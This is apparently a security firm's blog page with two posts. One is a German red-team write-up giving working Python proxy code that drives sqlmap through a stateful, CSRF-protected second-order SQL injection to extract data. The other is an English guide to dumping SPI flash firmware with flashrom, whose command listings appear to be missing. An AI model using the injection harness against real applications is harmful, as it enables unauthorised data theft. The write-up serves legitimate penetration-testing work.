Friday, August 24, 2018

Erweiterte Zustandsverfolgung für SQLMAP


Während eines Red Team Assessments bei eines unserer Kunden stand der Autor des Artikels zuletzt vor einer prinzipiell recht angenehmen Situation: in einer internen Webanwendung konnte er eine SQL Injection identifizieren, die ausnutzbar schien. Die Anwendung war relativ klein und nur für einen eingeschränkten Benutzerkreis zugänglich, aber laut Aussagen interner Dokumentation zusammen mit anderen, größeren Anwendungen für die Verwaltung unternehmenskritischer Daten zuständig. Also ein äußerst interessantes Angriffsziel für jemanden, der genau auf diese Daten aus wäre.

Um nun das Ziel des Tests zu erfüllen und an die sensiblen Daten zu kommen, musste die Schwachstelle ausgenutzt werden. Das beste Tool hierfür ist zweifelsohne sqlmap [1]. Es gab allerdings mehrere Herausforderungen beim Ausnutzen der Schwachstelle für sqlmap: zunächst handelte es sich um eine Second-Order Injection. Das bedeutet, dass man an einer Stelle der Webanwendung den Angriff (Injection) durchführt, aber das mögliche Ergebnis an einer anderen Stelle sieht. Diesen Fall kann sqlmap zum Glück mit `--second-order` noch gut abdecken. Als weiteres Hindernis verwendete die Anwendung CSRF-Tokens die pro Request neu erstellt wurden. Auch das hätte sqlmap noch in den Griff bekommen, mit `--csrf-url`.

Richtig problematisch wird es für sqlmap allerdings, wenn die Anwendung auch noch ihren aktuellen Zustand nachverfolgt und im Falle eines Requests, der vom aktuellen Zustand nicht möglich ist, die Aktion ablehnt. Konkret gesagt musste man in der Anwendung zunächst auf die Unterseite "Neu Hinzufügen" navigieren, damit die SQL Injection durchgeführt werden konnte. Anschließend wurde das Ergebnis der Anfrage in einem separaten Frame (Die Anwendung nutzte tatsächlich noch Framesets) geladen. Jede Einzelne der Anfragen benötigte ein CSRF-Token und zwar genau jenes, welches von der vorherigen Seite im Ablauf zur Verfügung gestellt wurde. Um dann eine neue Anfrage abzusetzen, musste zunächst wieder auf die Startseite navigiert werden (es gab einen Button "zurück"). Hierfür war kein CSRF-Token notwendig.


Wie exploitet man so etwas nun? Es handelte sich um eine boolean-blind SQL Injection, komplett manuelles Ausnutzen wäre also sehr zeitaufwendig geworden. Mit Python die Zustandsverfolgung zu scripten wäre kein Problem, aber die komplette Funktionalität von sqlmap nachzubauen oder neu zu schreiben wäre viel Aufwand gewesen. Also fiel die Wahl auf eine Kombination aus eigenem Script und sqlmap. Sqlmap definiert für individuellen Python-Code, der pro Request ausgeführt werden soll, dass ´--eval´ Flag. Hört sich zunächst passend an, aber wie bekommt man dann das CSRF-Token aus dem ausgeführten Python-Script in den Request der SQL Injection? Und wie bekommt man aus der Antwort auf diesen Request das Token in den Request zur "Second Order"-Seite?

Eine sehr einfache Lösung für das Problem, die vermutlich für jede vergleichbare Situation nützlich ist, ist eine Art Proxy-Anwendung die sich um alle Vor- und Nachbereitungen kümmert. In Python kann in wenigen Zeilen Code ein HTTP-Server aufgesetzt werden, der die Anfrage von sqlmap auf http://localhost:8000/ entgegen nimmt, an die verwundbare Anwendung weiterreicht und das Resultat als HTML ausgibt, um von sqlmap interpretiert zu werden. Das macht der folgende Code:


import BaseHTTPServer

import requests


def inject(val):

    return "<h2>Not implemented yet</h2>" # see below


class InjectionHandler(BaseHTTPServer.BaseHTTPRequestHandler):

    def do_GET(self):

        if not '?payload=' in self.path:

            html = "<form method='GET'><input type='text' name='payload'><input type='submit'></form>"

        else:

            payload = self.path.split('?payload=')[1]

            print("Injecting using payload {}".format(payload))

            html = inject(payload)


        self.send_response(200)

        self.send_header('Content-Type', "text/html")

        self.end_headers()

        self.wfile.write(html)


if __name__ == '__main__':

    server_class = BaseHTTPServer.HTTPServer

    httpd = server_class(('127.0.0.1', 8000), InjectionHandler)

    try:

        httpd.serve_forever()

    except KeyboardInterrupt:

        pass

    httpd.server_close()


```
import BaseHTTPServer
import requests

def inject(val):
    return "<h2>Not implemented yet</h2>" # see below

class InjectionHandler(BaseHTTPServer.BaseHTTPRequestHandler):
    def do_GET(self):
        if not '?payload=' in self.path:
            html = "<form method='GET'><input type='text' name='payload'><input type='submit'></form>"
        else:
            payload = self.path.split('?payload=')[1]
            print("Injecting using payload {}".format(payload))
            html = inject(payload)

        self.send_response(200)
        self.send_header('Content-Type', "text/html")
        self.end_headers()
        self.wfile.write(html)

if __name__ == '__main__':
    server_class = BaseHTTPServer.HTTPServer
    httpd = server_class(('127.0.0.1', 8000), InjectionHandler)
    try:
        httpd.serve_forever()
    except KeyboardInterrupt:
        pass
    httpd.server_close()

```

Startet man sqlmap nun mit folgenden Parametern, bekommt die `inject()` Methode bei jedem Request von sqlmap eine Anfrage mit den Daten die injiziert werden sollen.

```sqlmap -u "http://127.0.0.1:8000/?payload=*"```

Die `inject()` Methode kümmert sich dann um den ganzen Rest:


import requests


JID = '<INSERT YOUR SESSION ID HERE>'

URL_POST = 'https://some-vuln-webapp.intern/endpoint1'

URL_RESULT = 'https://some-vuln-webapp.intern/endpoint2'


def get_csrf_token(resp):

        return resp.text.split('name="CSRF" value="')[1].split('"')[0]


def inject(val):

        session = requests.Session()

        session.cookies.update({'JSESSIONID': JID})


        # "Startseite"

        resp = session.post(URL_POST, data={'STATUS': 'HAUPTMENUE'})


        # "Neu Hinzufuegen"

        csrf_token = get_csrf_token(resp)

        resp = session.post(URL_POST, data={'STATUS': 'HINZUFUEGEN', 'CSRF': csrf_token})


        # Inject!

        csrf_token = get_csrf_token(resp)

        resp = session.post(URL_POST, data={'VULN': val, 'CSRF': csrf_token})


        # Result

        csrf_token = get_csrf_token(resp)

        return session.post(URL_RESULT, {'CSRF': csrf_token}).text.encode('ascii', 'ignore')
```
import requests

JID = '<INSERT YOUR SESSION ID HERE>'
URL_POST = 'https://some-vuln-webapp.intern/endpoint1'
URL_RESULT = 'https://some-vuln-webapp.intern/endpoint2'

def get_csrf_token(resp):
        return resp.text.split('name="CSRF" value="')[1].split('"')[0]

def inject(val):
        session = requests.Session()
        session.cookies.update({'JSESSIONID': JID})

        # "Startseite"
        resp = session.post(URL_POST, data={'STATUS': 'HAUPTMENUE'})

        # "Neu Hinzufuegen"
        csrf_token = get_csrf_token(resp)
        resp = session.post(URL_POST, data={'STATUS': 'HINZUFUEGEN', 'CSRF': csrf_token})

        # Inject!
        csrf_token = get_csrf_token(resp)
        resp = session.post(URL_POST, data={'VULN': val, 'CSRF': csrf_token})

        # Result
        csrf_token = get_csrf_token(resp)
        return session.post(URL_RESULT, {'CSRF': csrf_token}).text.encode('ascii', 'ignore')

```

Das Ganze läuft nur in einem Thread, also für massenhafte Datenextraktion immer noch sehr, sehr langsam - war im konkreten Fall jedoch ausreichend. Anleitungen um einen solchen `BaseHTTPServer` mit Multi-Thread Unterstützung zu implementieren, finden sich aber zu Hauf im Netz.

Mit dem hier beschriebenen Trick sind sqlmap wirklich kaum noch Grenzen gesetzt. Viel Spaß beim nächsten Pentest!


[1] https://github.com/sqlmapproject/sqlmap

Monday, June 11, 2018

Dumping SPI Flash Memory of Embedded Devices

Introduction

While auditing the security of embedded devices we often face situations where the firmware of the system under test is either not publicly available or the vendor can’t provide it due to legal issues. Accessing the firmware gives a lot of insight on how the device actually works. Even in assessments, where scope is limited to Web Application Testing only, helpful information can be gathered by having access to the firmware.
This blog post depicts the general approach for retrieving the firmware from such devices by accessing the flash memory chip directly. Please note the provided information in this example is limited to the flash memory chip only, as the tested system cannot be disclosed due to legal constraints.

Accessing the hardware

After opening the housing of an embedded system the initial step is to identify integrated circuits (ICs) that are potential candidates for holding the firmware of the device. As this is highly device-specific the assumption here is that you already have acquired access to the bare PCB.

Identifying the chip

In the following we use the Spansion S25FL128 as an example, which is in broad use for home routers, cable modems and the likes.












 


RTFM (datasheet)

To understand how the integrated circuit communicates the next thing to do is looking up the datasheet. Most vendors provide detailed and freely available information about the package, pinout and protocol used by the chip.

Specification


General

 

Input and Outputs



In case of the Spansion S25FL128 the following information can be gathered from the datasheet:

  • SPI-like interface
  • 16-pin Small Outline package
  • can be powered with 3.3 Volts

Knowing the characteristics of the Spansion S25FL128 we are able to proceed with interfacing the chip in order to access and hopefully read its content.

Circuitry


The Spansion S25Fl128 [2] uses Serial Peripheral Interface bus (SPI), which is a synchronous serial communication interface that is used for short distance communication and often found in embedded systems.

SPI Master and Slave


As we are going to read/dump data from the Spansion S25Fl128 we act as bus master with the flash chip being a SPI slave.


 

In-System Programming

We are going to read the content while the Spansion S25Fl128 is still soldered on the board using a IC test clip such as the Pomona 5252:


















In general it’s recommended to desolder the integrated circuit from the board so that no other component can access it and therefore prevent us from actually dumping the memory. Although we might power other components as well that is a less time-consuming approach and should be tried first.

Pinout (16-pin, Small Outline package)

The following pinout details the bare minimum of mandatory connections (highlighted in red) needed to access the Spansion S25FL128.














As a rule of thumb pay attention to connecting all pins according to the datasheet and leave no pin floating.

SPI connections

In order to dump the content of the chip, we hookup the aforementioned seven pins to the Spansion S25Fl128 using a Raspberry Pi 3 according to the following table:




The Raspberry Pi 3 is a cheap system that supports SPI and even allows us to provide power to the Spansion S25Fl128. Of course you can make use of other dedicated SPI programming devices as well.

Dumping the firmware image


Flashrom

Using flashrom [1] we now try to dump the content of the chip using the SPI device (/dev/spidev0.0) provided by Raspberry Pi 3 as follows:
Note that we stated spispeed=8000 explicitly, which sets the SPI speed in kHz and was found to be the maximum speed the Raspberry Pi 3 can handle although your results may vary. This heavily reduces the amount of time needed to dump the entire flash content.
 
It can be seen from the output above that flashrom fails to identify the integrated circuit unambiguously. As we have identified the specific version in use beforehand we can provide flashrom with the relevant chip identifier using the command-line flag -c: 

 
It is highly recommended to dump the image multiple times to verify that the checksum stays the same, which normally indicates a successful read:

 

Readable Data

A quick look on the acquired firmware image suggests that we have valid data at hand and that this data is unencrypted. Because strings in the dump indicate that uboot is present:






 

Summary

This blog post tried to shed some light on the general approach to access SPI NOR flash memory that often can be found in embedded devices. It might be followed by a complete walkthrough of an analysis in the future.

Resources and Links

[1] https://www.flashrom.org/Flashrom
[2] Spansion S25FL128